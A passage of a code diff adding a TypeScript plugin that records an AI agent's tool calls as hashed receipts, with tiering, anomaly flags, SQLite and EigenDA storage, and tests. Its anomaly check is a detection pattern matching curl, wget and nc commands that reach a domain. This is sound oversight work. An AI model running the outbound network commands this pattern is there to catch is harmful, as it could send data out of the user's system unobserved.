|
||||||
|
|
||||||
|
afterEach(async () => {
|
||||||
|
await new Promise<void>((resolve) => server.close(() => resolve()));
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sends POST /put with receipt blob", async () => {
|
||||||
|
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
|
||||||
|
const receipt = makeReceipt();
|
||||||
|
await store.put(receipt);
|
||||||
|
|
||||||
|
expect(lastRequestBody).not.toBeNull();
|
||||||
|
const parsed = JSON.parse(lastRequestBody!.toString());
|
||||||
|
expect(parsed.id).toBe(receipt.id);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sets hex daCommitment on receipt after successful DA put", async () => {
|
||||||
|
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
|
||||||
|
const receipt = makeReceipt();
|
||||||
|
await store.put(receipt);
|
||||||
|
|
||||||
|
const retrieved = await store.get(receipt.id);
|
||||||
|
expect(retrieved?.daCommitment).toBe("deadbeef0123");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("stores receipt locally even when DA fails", async () => {
|
||||||
|
shouldFail = true;
|
||||||
|
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
|
||||||
|
const receipt = makeReceipt();
|
||||||
|
|
||||||
|
// Should not throw
|
||||||
|
await store.put(receipt);
|
||||||
|
|
||||||
|
const retrieved = await store.get(receipt.id);
|
||||||
|
expect(retrieved).not.toBeNull();
|
||||||
|
expect(retrieved!.id).toBe(receipt.id);
|
||||||
|
expect(retrieved!.daCommitment).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("get/list/stats query from local index", async () => {
|
||||||
|
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
|
||||||
|
await store.put(makeReceipt({ tier: "high" }));
|
||||||
|
await store.put(makeReceipt({ tier: "medium" }));
|
||||||
|
|
||||||
|
const list = await store.list({ limit: 10, offset: 0 });
|
||||||
|
expect(list).toHaveLength(2);
|
||||||
|
|
||||||
|
const stats = await store.stats();
|
||||||
|
expect(stats.total).toBe(2);
|
||||||
|
expect(stats.byTier).toEqual({ high: 1, medium: 1 });
|
||||||
|
});
|
||||||
|
});
|
||||||
105
extensions/boltbot/src/__tests__/integration.test.ts
Normal file
105
extensions/boltbot/src/__tests__/integration.test.ts
Normal file
@ -0,0 +1,105 @@
|
|||||||
|
import { describe, it, expect, vi } from "vitest";
|
||||||
|
|
||||||
|
// Mock clawdbot/plugin-sdk to avoid pulling in the full config/zod chain.
|
||||||
|
vi.mock("clawdbot/plugin-sdk", () => ({
|
||||||
|
emptyPluginConfigSchema: () => ({}),
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Mock better-sqlite3 before any imports that use it
|
||||||
|
vi.mock("better-sqlite3", () => {
|
||||||
|
class MockDatabase {
|
||||||
|
exec() {}
|
||||||
|
prepare() {
|
||||||
|
return {
|
||||||
|
run: (..._args: any[]) => {},
|
||||||
|
get: (_id?: string) => ({ c: 0 }),
|
||||||
|
all: (..._args: any[]) => [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { default: MockDatabase };
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("boltbot plugin integration", () => {
|
||||||
|
it("plugin has correct id and name", async () => {
|
||||||
|
const mod = await import("../../index.js");
|
||||||
|
const plugin = mod.default;
|
||||||
|
expect(plugin.id).toBe("boltbot");
|
||||||
|
expect(plugin.name).toBe("Boltbot — Trustless Hosting");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("register wires provider, hook, and routes", async () => {
|
||||||
|
const mod = await import("../../index.js");
|
||||||
|
const plugin = mod.default;
|
||||||
|
|
||||||
|
const registered = {
|
||||||
|
providers: [] as any[],
|
||||||
|
hooks: [] as any[],
|
||||||
|
routes: [] as any[],
|
||||||
|
};
|
||||||
|
|
||||||
|
const mockApi = {
|
||||||
|
registerProvider: vi.fn((p: any) => registered.providers.push(p)),
|
||||||
|
on: vi.fn((name: string, handler: any) => registered.hooks.push({ name, handler })),
|
||||||
|
registerHttpRoute: vi.fn((r: any) => registered.routes.push(r)),
|
||||||
|
};
|
||||||
|
|
||||||
|
plugin.register(mockApi as any);
|
||||||
|
|
||||||
|
// REQ-1: Provider registered
|
||||||
|
expect(registered.providers).toHaveLength(1);
|
||||||
|
expect(registered.providers[0].id).toBe("eigencloud");
|
||||||
|
|
||||||
|
// REQ-3: after_tool_call hook registered
|
||||||
|
expect(registered.hooks).toHaveLength(1);
|
||||||
|
expect(registered.hooks[0].name).toBe("after_tool_call");
|
||||||
|
|
||||||
|
// REQ-7: 3 HTTP routes registered
|
||||||
|
expect(registered.routes).toHaveLength(3);
|
||||||
|
const paths = registered.routes.map((r: any) => r.path);
|
||||||
|
expect(paths).toContain("/boltbot/receipts");
|
||||||
|
expect(paths).toContain("/boltbot/receipt");
|
||||||
|
expect(paths).toContain("/boltbot/stats");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("after_tool_call hook fires and creates receipt", async () => {
|
||||||
|
const mod = await import("../../index.js");
|
||||||
|
const plugin = mod.default;
|
||||||
|
|
||||||
|
let hookHandler: any;
|
||||||
|
const mockApi = {
|
||||||
|
registerProvider: vi.fn(),
|
||||||
|
on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }),
|
||||||
|
registerHttpRoute: vi.fn(),
|
||||||
|
};
|
||||||
|
|
||||||
|
plugin.register(mockApi as any);
|
||||||
|
expect(hookHandler).toBeDefined();
|
||||||
|
|
||||||
|
// Fire the hook -- should not throw
|
||||||
|
await hookHandler(
|
||||||
|
{ toolName: "exec", params: { command: "ls" }, durationMs: 10 },
|
||||||
|
{ sessionKey: "test-sess", toolName: "exec" },
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("after_tool_call hook skips low-tier tools", async () => {
|
||||||
|
const mod = await import("../../index.js");
|
||||||
|
const plugin = mod.default;
|
||||||
|
|
||||||
|
let hookHandler: any;
|
||||||
|
const mockApi = {
|
||||||
|
registerProvider: vi.fn(),
|
||||||
|
on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }),
|
||||||
|
registerHttpRoute: vi.fn(),
|
||||||
|
};
|
||||||
|
|
||||||
|
plugin.register(mockApi as any);
|
||||||
|
|
||||||
|
// web_search is low tier -- should not throw or store
|
||||||
|
await hookHandler(
|
||||||
|
{ toolName: "web_search", params: { q: "test" }, durationMs: 5 },
|
||||||
|
{ sessionKey: "test-sess", toolName: "web_search" },
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
88
extensions/boltbot/src/__tests__/provider.test.ts
Normal file
88
extensions/boltbot/src/__tests__/provider.test.ts
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
import { describe, it, expect, beforeEach, afterEach } from "vitest";
|
||||||
|
import { eigenCloudProvider } from "../provider.js";
|
||||||
|
|
||||||
|
describe("eigenCloudProvider", () => {
|
||||||
|
const originalEnv = process.env.EIGENCLOUD_API_KEY;
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
if (originalEnv !== undefined) {
|
||||||
|
process.env.EIGENCLOUD_API_KEY = originalEnv;
|
||||||
|
} else {
|
||||||
|
delete process.env.EIGENCLOUD_API_KEY;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("has correct id", () => {
|
||||||
|
expect(eigenCloudProvider.id).toBe("eigencloud");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("has correct label", () => {
|
||||||
|
expect(eigenCloudProvider.label).toBe("EigenCloud (EigenAI)");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("has aliases", () => {
|
||||||
|
expect(eigenCloudProvider.aliases).toContain("eigenai");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("auth kind is api_key", () => {
|
||||||
|
expect(eigenCloudProvider.auth[0].kind).toBe("api_key");
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("with EIGENCLOUD_API_KEY set", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
process.env.EIGENCLOUD_API_KEY = "test-key-123";
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns profiles with profileId and credential", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
expect(result.profiles).toHaveLength(1);
|
||||||
|
expect(result.profiles[0].profileId).toBe("eigencloud");
|
||||||
|
expect(result.profiles[0].credential).toEqual({
|
||||||
|
type: "api_key",
|
||||||
|
key: "test-key-123",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns nested configPatch", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
const patch = result.configPatch as any;
|
||||||
|
expect(patch.models.providers.eigencloud.baseUrl).toBe(
|
||||||
|
"https://eigenai.eigencloud.xyz/v1",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sets x-api-key header in configPatch", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
const patch = result.configPatch as any;
|
||||||
|
expect(patch.models.providers.eigencloud.headers["x-api-key"]).toBe(
|
||||||
|
"test-key-123",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("model input is text array", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
const patch = result.configPatch as any;
|
||||||
|
const model = patch.models.providers.eigencloud.models[0];
|
||||||
|
expect(model.input).toEqual(["text"]);
|
||||||
|
expect(model.contextWindow).toBe(128_000);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sets defaultModel", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
expect(result.defaultModel).toBe("gpt-oss-120b-f16");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("without EIGENCLOUD_API_KEY", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
delete process.env.EIGENCLOUD_API_KEY;
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns empty profiles with note", async () => {
|
||||||
|
const result = await eigenCloudProvider.auth[0].run({} as any);
|
||||||
|
expect(result.profiles).toHaveLength(0);
|
||||||
|
expect(result.notes).toBeDefined();
|
||||||
|
expect(result.notes!.length).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
96
extensions/boltbot/src/__tests__/receipt-store.test.ts
Normal file
96
extensions/boltbot/src/__tests__/receipt-store.test.ts
Normal file
@ -0,0 +1,96 @@
|
|||||||
|
import { describe, it, expect, beforeEach } from "vitest";
|
||||||
|
import { LocalReceiptStore } from "../stores/local.js";
|
||||||
|
import { hashData, type ActionReceipt } from "../receipt-store.js";
|
||||||
|
|
||||||
|
function makeReceipt(overrides: Partial<ActionReceipt> = {}): ActionReceipt {
|
||||||
|
return {
|
||||||
|
id: crypto.randomUUID(),
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
sessionKey: "test-session",
|
||||||
|
tier: "medium",
|
||||||
|
toolName: "message",
|
||||||
|
argumentsHash: hashData({ to: "user" }),
|
||||||
|
resultHash: hashData({ ok: true }),
|
||||||
|
success: true,
|
||||||
|
durationMs: 100,
|
||||||
|
anomalies: [],
|
||||||
|
...overrides,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("LocalReceiptStore", () => {
|
||||||
|
let store: LocalReceiptStore;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
store = new LocalReceiptStore(":memory:");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("put and get roundtrip", async () => {
|
||||||
|
const receipt = makeReceipt();
|
||||||
|
await store.put(receipt);
|
||||||
|
const retrieved = await store.get(receipt.id);
|
||||||
|
expect(retrieved).toEqual(receipt);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("get returns null for nonexistent id", async () => {
|
||||||
|
const result = await store.get("nonexistent-id");
|
||||||
|
expect(result).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("list returns receipts in reverse chronological order", async () => {
|
||||||
|
const r1 = makeReceipt({ timestamp: "2026-01-01T00:00:00.000Z" });
|
||||||
|
const r2 = makeReceipt({ timestamp: "2026-01-02T00:00:00.000Z" });
|
||||||
|
const r3 = makeReceipt({ timestamp: "2026-01-03T00:00:00.000Z" });
|
||||||
|
await store.put(r1);
|
||||||
|
await store.put(r2);
|
||||||
|
await store.put(r3);
|
||||||
|
|
||||||
|
const list = await store.list({ limit: 10, offset: 0 });
|
||||||
|
expect(list).toHaveLength(3);
|
||||||
|
expect(list[0].id).toBe(r3.id);
|
||||||
|
expect(list[1].id).toBe(r2.id);
|
||||||
|
expect(list[2].id).toBe(r1.id);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("stats returns correct counts", async () => {
|
||||||
|
await store.put(makeReceipt({ tier: "high" }));
|
||||||
|
await store.put(makeReceipt({ tier: "high" }));
|
||||||
|
await store.put(makeReceipt({ tier: "medium" }));
|
||||||
|
await store.put(makeReceipt({ tier: "medium" }));
|
||||||
|
await store.put(makeReceipt({ tier: "medium" }));
|
||||||
|
|
||||||
|
const stats = await store.stats();
|
||||||
|
expect(stats.total).toBe(5);
|
||||||
|
expect(stats.byTier).toEqual({ high: 2, medium: 3 });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("stats counts anomalies correctly", async () => {
|
||||||
|
await store.put(makeReceipt({ anomalies: ["unexpected_recipient"] }));
|
||||||
|
await store.put(makeReceipt({ anomalies: [] }));
|
||||||
|
await store.put(makeReceipt({ anomalies: ["unauthorized_outbound", "process_management"] }));
|
||||||
|
|
||||||
|
const stats = await store.stats();
|
||||||
|
expect(stats.anomalyCount).toBe(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("uses sessionKey field", async () => {
|
||||||
|
const receipt = makeReceipt({ sessionKey: "my-session-key" });
|
||||||
|
await store.put(receipt);
|
||||||
|
const retrieved = await store.get(receipt.id);
|
||||||
|
expect(retrieved?.sessionKey).toBe("my-session-key");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("hashData", () => {
|
||||||
|
it("produces consistent SHA-256 hex", () => {
|
||||||
|
const h1 = hashData({ foo: "bar" });
|
||||||
|
const h2 = hashData({ foo: "bar" });
|
||||||
|
expect(h1).toBe(h2);
|
||||||
|
expect(h1).toMatch(/^[0-9a-f]{64}$/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("handles null/undefined", () => {
|
||||||
|
const h = hashData(null);
|
||||||
|
expect(h).toMatch(/^[0-9a-f]{64}$/);
|
||||||
|
});
|
||||||
|
});
|
||||||
37
extensions/boltbot/src/action-logger.ts
Normal file
37
extensions/boltbot/src/action-logger.ts
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
import { randomUUID } from "node:crypto";
|
||||||
|
import { getTier } from "./action-tiers.js";
|
||||||
|
import type { AfterToolCallEvent } from "./anomaly.js";
|
||||||
|
import { detectAnomalies } from "./anomaly.js";
|
||||||
|
import type { ActionReceipt, ReceiptStore } from "./receipt-store.js";
|
||||||
|
import { hashData } from "./receipt-store.js";
|
||||||
|
|
||||||
|
type ToolContext = {
|
||||||
|
agentId?: string;
|
||||||
|
sessionKey?: string;
|
||||||
|
toolName: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function createActionLogger(store: ReceiptStore) {
|
||||||
|
return async function afterToolCall(
|
||||||
|
event: AfterToolCallEvent,
|
||||||
|
ctx: ToolContext,
|
||||||
|
): Promise<void> {
|
||||||
|
const tier = getTier(event.toolName);
|
||||||
|
if (tier === "low") return;
|
||||||
|
|
||||||
|
const receipt: ActionReceipt = {
|
||||||
|
id: randomUUID(),
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
sessionKey: ctx.sessionKey ?? "unknown",
|
||||||
|
tier,
|
||||||
|
toolName: event.toolName,
|
||||||
|
argumentsHash: hashData(event.params),
|
||||||
|
resultHash: hashData(event.result ?? event.error),
|
||||||
|
success: !event.error,
|
||||||
|
durationMs: event.durationMs ?? 0,
|
||||||
|
anomalies: detectAnomalies(event),
|
||||||
|
};
|
||||||
|
|
||||||
|
store.put(receipt).catch(() => {});
|
||||||
|
};
|
||||||
|
}
|
||||||
34
extensions/boltbot/src/action-tiers.ts
Normal file
34
extensions/boltbot/src/action-tiers.ts
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
export type Tier = "low" | "medium" | "high";
|
||||||
|
|
||||||
|
const TIER_MAP: Record<string, Tier> = {
|
||||||
|
exec: "high",
|
||||||
|
apply_patch: "high",
|
||||||
|
gateway: "high",
|
||||||
|
sessions_spawn: "high",
|
||||||
|
process: "high",
|
||||||
|
|
||||||
|
message: "medium",
|
||||||
|
write: "medium",
|
||||||
|
edit: "medium",
|
||||||
|
cron: "medium",
|
||||||
|
sessions_send: "medium",
|
||||||
|
browser: "medium",
|
||||||
|
canvas: "medium",
|
||||||
|
nodes: "medium",
|
||||||
|
|
||||||
|
web_search: "low",
|
||||||
|
web_fetch: "low",
|
||||||
|
memory_search: "low",
|
||||||
|
memory_get: "low",
|
||||||
|
read: "low",
|
||||||
|
sessions_list: "low",
|
||||||
|
sessions_history: "low",
|
||||||
|
session_status: "low",
|
||||||
|
agents_list: "low",
|
||||||
|
image: "low",
|
||||||
|
};
|
||||||
|
|
||||||
|
export function getTier(toolName: string): Tier {
|
||||||
|
const normalized = toolName.toLowerCase().replace(/-/g, "_");
|
||||||
|
return TIER_MAP[normalized] ?? "medium";
|
||||||
|
}
|
||||||
34
extensions/boltbot/src/anomaly.ts
Normal file
34
extensions/boltbot/src/anomaly.ts
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
export type AfterToolCallEvent = {
|
||||||
|
toolName: string;
|
||||||
|
params: Record<string, unknown>;
|
||||||
|
result?: unknown;
|
||||||
|
error?: string;
|
||||||
|
durationMs?: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function detectAnomalies(event: AfterToolCallEvent): string[] {
|
||||||
|
const anomalies: string[] = [];
|
||||||
|
|
||||||
|
if (event.toolName === "message") {
|
||||||
|
if (event.params.bcc || event.params.hidden_recipients) {
|
||||||
|
anomalies.push("unexpected_recipient");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.toolName === "exec") {
|
||||||
|
const cmd = String(event.params?.command ?? "");
|
||||||
|
if (/curl|wget|nc\s/.test(cmd) && /[a-z]+\.[a-z]{2,}/.test(cmd)) {
|
||||||
|
anomalies.push("unauthorized_outbound");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.toolName === "process") {
|
||||||
|
anomalies.push("process_management");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.toolName === "gateway") {
|
||||||
|
anomalies.push("gateway_access");
|
||||||
|
}
|
||||||
|
|
||||||
|
return anomalies;
|
||||||
|
}
|
||||||
60
extensions/boltbot/src/api.ts
Normal file
60
extensions/boltbot/src/api.ts
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
import type { IncomingMessage, ServerResponse } from "node:http";
|
||||||
|
import type { ReceiptStore } from "./receipt-store.js";
|
||||||
|
|
||||||
|
type PluginApi = {
|
||||||
|
registerHttpRoute: (params: {
|
||||||
|
path: string;
|
||||||
|
handler: (req: IncomingMessage, res: ServerResponse) => void | Promise<void>;
|
||||||
|
}) => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
function jsonResponse(res: ServerResponse, status: number, data: unknown) {
|
||||||
|
res.writeHead(status, { "Content-Type": "application/json" });
|
||||||
|
res.end(JSON.stringify(data));
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseQuery(url: string): Record<string, string> {
|
||||||
|
const idx = url.indexOf("?");
|
||||||
|
if (idx === -1) return {};
|
||||||
|
const params = new URLSearchParams(url.slice(idx + 1));
|
||||||
|
return Object.fromEntries(params.entries());
|
||||||
|
}
|
||||||
|
|
||||||
|
export function registerBoltbotApi(api: PluginApi, store: ReceiptStore) {
|
||||||
|
api.registerHttpRoute({
|
||||||
|
path: "/boltbot/receipts",
|
||||||
|
handler: async (req, res) => {
|
||||||
|
const query = parseQuery(req.url ?? "");
|
||||||
|
const limit = Math.min(Math.max(parseInt(query.limit ?? "50", 10) || 50, 1), 500);
|
||||||
|
const offset = Math.max(parseInt(query.offset ?? "0", 10) || 0, 0);
|
||||||
|
const receipts = await store.list({ limit, offset });
|
||||||
|
jsonResponse(res, 200, { receipts });
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
api.registerHttpRoute({
|
||||||
|
path: "/boltbot/receipt",
|
||||||
|
handler: async (req, res) => {
|
||||||
|
const query = parseQuery(req.url ?? "");
|
||||||
|
const id = query.id;
|
||||||
|
if (!id) {
|
||||||
|
jsonResponse(res, 400, { error: "missing_id" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const receipt = await store.get(id);
|
||||||
|
if (!receipt) {
|
||||||
|
jsonResponse(res, 404, { error: "not_found" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
jsonResponse(res, 200, { receipt });
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
api.registerHttpRoute({
|
||||||
|
path: "/boltbot/stats",
|
||||||
|
handler: async (_req, res) => {
|
||||||
|
const stats = await store.stats();
|
||||||
|
jsonResponse(res, 200, stats);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
67
extensions/boltbot/src/provider.ts
Normal file
67
extensions/boltbot/src/provider.ts
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
import type { ProviderPlugin } from "../../../src/plugins/types.js";
|
||||||
|
|
||||||
|
export const eigenCloudProvider: ProviderPlugin = {
|
||||||
|
id: "eigencloud",
|
||||||
|
label: "EigenCloud (EigenAI)",
|
||||||
|
docsPath: "/providers/eigencloud",
|
||||||
|
aliases: ["eigenai", "eigen"],
|
||||||
|
envVars: ["EIGENCLOUD_API_KEY"],
|
||||||
|
auth: [
|
||||||
|
{
|
||||||
|
id: "eigencloud-api-key",
|
||||||
|
label: "EigenCloud API Key",
|
||||||
|
hint: "Get your key at developers.eigencloud.xyz",
|
||||||
|
kind: "api_key",
|
||||||
|
async run(_ctx) {
|
||||||
|
const apiKey = process.env.EIGENCLOUD_API_KEY;
|
||||||
|
if (!apiKey) {
|
||||||
|
return {
|
||||||
|
profiles: [],
|
||||||
|
notes: [
|
||||||
|
"Set EIGENCLOUD_API_KEY env var. Apply at developers.eigencloud.xyz",
|
||||||
|
],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
profiles: [
|
||||||
|
{
|
||||||
|
profileId: "eigencloud",
|
||||||
|
credential: { type: "api_key", key: apiKey },
|
||||||
|
},
|
||||||
|
],
|
||||||
|
configPatch: {
|
||||||
|
models: {
|
||||||
|
providers: {
|
||||||
|
eigencloud: {
|
||||||
|
baseUrl: "https://eigenai.eigencloud.xyz/v1",
|
||||||
|
apiKey,
|
||||||
|
api: "openai-completions",
|
||||||
|
headers: {
|
||||||
|
"x-api-key": apiKey,
|
||||||
|
},
|
||||||
|
models: [
|
||||||
|
{
|
||||||
|
id: "gpt-oss-120b-f16",
|
||||||
|
name: "EigenAI GPT-OSS 120B",
|
||||||
|
reasoning: false,
|
||||||
|
input: ["text"],
|
||||||
|
contextWindow: 128_000,
|
||||||
|
maxTokens: 8_192,
|
||||||
|
cost: {
|
||||||
|
input: 0,
|
||||||
|
output: 0,
|
||||||
|
cacheRead: 0,
|
||||||
|
cacheWrite: 0,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
} as any,
|
||||||
|
defaultModel: "gpt-oss-120b-f16",
|
||||||
|
};
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
};
|
||||||
37
extensions/boltbot/src/receipt-store.ts
Normal file
37
extensions/boltbot/src/receipt-store.ts
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
import { createHash } from "node:crypto";
|
||||||
|
import { LocalReceiptStore } from "./stores/local.js";
|
||||||
|
|
||||||
|
export interface ActionReceipt {
|
||||||
|
id: string;
|
||||||
|
timestamp: string;
|
||||||
|
sessionKey: string;
|
||||||
|
tier: "low" | "medium" | "high";
|
||||||
|
toolName: string;
|
||||||
|
argumentsHash: string;
|
||||||
|
resultHash: string;
|
||||||
|
success: boolean;
|
||||||
|
durationMs: number;
|
||||||
|
anomalies: string[];
|
||||||
|
daCommitment?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReceiptStore {
|
||||||
|
put(receipt: ActionReceipt): Promise<void>;
|
||||||
|
get(id: string): Promise<ActionReceipt | null>;
|
||||||
|
list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]>;
|
||||||
|
stats(): Promise<{ total: number; byTier: Record<string, number>; anomalyCount: number }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function createReceiptStore(backend?: string): ReceiptStore {
|
||||||
|
if (backend === "eigenda") {
|
||||||
|
const { EigenDAReceiptStore } = require("./stores/eigenda.js");
|
||||||
|
return new EigenDAReceiptStore(process.env.EIGENDA_PROXY_URL!);
|
||||||
|
}
|
||||||
|
return new LocalReceiptStore();
|
||||||
|
}
|
||||||
|
|
||||||
|
export function hashData(data: unknown): string {
|
||||||
|
return createHash("sha256")
|
||||||
|
.update(JSON.stringify(data ?? ""))
|
||||||
|
.digest("hex");
|
||||||
|
}
|
||||||
42
extensions/boltbot/src/stores/eigenda.ts
Normal file
42
extensions/boltbot/src/stores/eigenda.ts
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
|
||||||
|
import { LocalReceiptStore } from "./local.js";
|
||||||
|
|
||||||
|
export class EigenDAReceiptStore implements ReceiptStore {
|
||||||
|
private proxyUrl: string;
|
||||||
|
private localIndex: LocalReceiptStore;
|
||||||
|
|
||||||
|
constructor(proxyUrl: string, dbPath = "boltbot-eigenda-index.db") {
|
||||||
|
this.proxyUrl = proxyUrl;
|
||||||
|
this.localIndex = new LocalReceiptStore(dbPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
async put(receipt: ActionReceipt): Promise<void> {
|
||||||
|
const blob = Buffer.from(JSON.stringify(receipt));
|
||||||
|
try {
|
||||||
|
const res = await fetch(`${this.proxyUrl}/put`, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/octet-stream" },
|
||||||
|
body: blob,
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
receipt.daCommitment = Buffer.from(await res.arrayBuffer()).toString("hex");
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// DA failure is non-fatal
|
||||||
|
}
|
||||||
|
|
||||||
|
await this.localIndex.put(receipt);
|
||||||
|
}
|
||||||
|
|
||||||
|
async get(id: string): Promise<ActionReceipt | null> {
|
||||||
|
return this.localIndex.get(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
async list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]> {
|
||||||
|
return this.localIndex.list(opts);
|
||||||
|
}
|
||||||
|
|
||||||
|
async stats() {
|
||||||
|
return this.localIndex.stats();
|
||||||
|
}
|
||||||
|
}
|
||||||
79
extensions/boltbot/src/stores/local.ts
Normal file
79
extensions/boltbot/src/stores/local.ts
Normal file
@ -0,0 +1,79 @@
|
|||||||
|
import Database from "better-sqlite3";
|
||||||
|
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
|
||||||
|
|
||||||
|
export class LocalReceiptStore implements ReceiptStore {
|
||||||
|
private db: Database.Database;
|
||||||
|
|
||||||
|
constructor(dbPath = "boltbot-receipts.db") {
|
||||||
|
this.db = new Database(dbPath);
|
||||||
|
this.db.exec(`
|
||||||
|
CREATE TABLE IF NOT EXISTS receipts (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
timestamp TEXT NOT NULL,
|
||||||
|
session_key TEXT,
|
||||||
|
tier TEXT NOT NULL,
|
||||||
|
tool_name TEXT NOT NULL,
|
||||||
|
arguments_hash TEXT NOT NULL,
|
||||||
|
result_hash TEXT NOT NULL,
|
||||||
|
success INTEGER NOT NULL,
|
||||||
|
duration_ms INTEGER,
|
||||||
|
anomalies TEXT,
|
||||||
|
da_commitment TEXT,
|
||||||
|
created_at TEXT DEFAULT (datetime('now'))
|
||||||
|
)
|
||||||
|
`);
|
||||||
|
}
|
||||||
|
|
||||||
|
async put(receipt: ActionReceipt): Promise<void> {
|
||||||
|
this.db.prepare(`
|
||||||
|
INSERT OR REPLACE INTO receipts
|
||||||
|
(id, timestamp, session_key, tier, tool_name, arguments_hash, result_hash, success, duration_ms, anomalies, da_commitment)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
`).run(
|
||||||
|
receipt.id, receipt.timestamp, receipt.sessionKey, receipt.tier,
|
||||||
|
receipt.toolName, receipt.argumentsHash, receipt.resultHash,
|
||||||
|
receipt.success ? 1 : 0, receipt.durationMs,
|
||||||
|
JSON.stringify(receipt.anomalies), receipt.daCommitment ?? null,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async get(id: string): Promise<ActionReceipt | null> {
|
||||||
|
const row = this.db.prepare("SELECT * FROM receipts WHERE id = ?").get(id) as any;
|
||||||
|
return row ? rowToReceipt(row) : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
async list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]> {
|
||||||
|
const rows = this.db.prepare(
|
||||||
|
"SELECT * FROM receipts ORDER BY timestamp DESC LIMIT ? OFFSET ?",
|
||||||
|
).all(opts.limit, opts.offset) as any[];
|
||||||
|
return rows.map(rowToReceipt);
|
||||||
|
}
|
||||||
|
|
||||||
|
async stats() {
|
||||||
|
